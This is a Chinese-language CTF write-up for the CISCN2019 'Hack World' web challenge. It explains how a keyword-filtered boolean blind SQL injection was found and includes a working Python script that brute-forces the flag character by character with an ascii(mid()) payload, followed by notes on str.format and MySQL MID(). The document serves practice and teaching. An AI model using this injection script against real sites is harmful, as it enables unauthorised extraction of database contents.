[CISCN2019 华北赛区 Day2 Web1]Hack World
注入题:
直接抓包burpsuite fuzz测试
过滤了一些关键字,但能够看出来存在bool漏洞
发现当true时,Hello,glzjin wants a girlfriend.
fslse时,Error Occured When Fetch Result.
据此,写脚本
import requests
import string
import time
timeout=None
def bool_blind(url):
flag = ''
strings = string.printable
for i in range(1,60):
for j in strings:
time.sleep(0.1)
print(1)
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(i,ord(j))
post_data = {'id':payload}
r = requests.post(url,data=post_data)
if 'Hello' in r.text:
flag += j
print(flag)
break
else:
continue
print(flag)
url = "http://c97f4762-b83f-483e-a3c9-68464787491a.node4.buuoj.cn:81/index.php"
bool_blind(url)
但是这个会出现超时错误,,试了n次之后终于成功!
string.printable :包含所有可打印字符的字符串
一种格式化字符串的函数 str.format(),它增强了字符串格式化的功能。
>>>"{} {}".format("hello", "world") # 不设置指定位置,按默认顺序
'hello world'
>>> "{0} {1}".format("hello", "world") # 设置指定位置
'hello world'
>>> "{1} {0} {1}".format("hello", "world") # 设置指定位置
'world hello world'
SELECT MID(column_name,start[,length]) FROM table_name
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。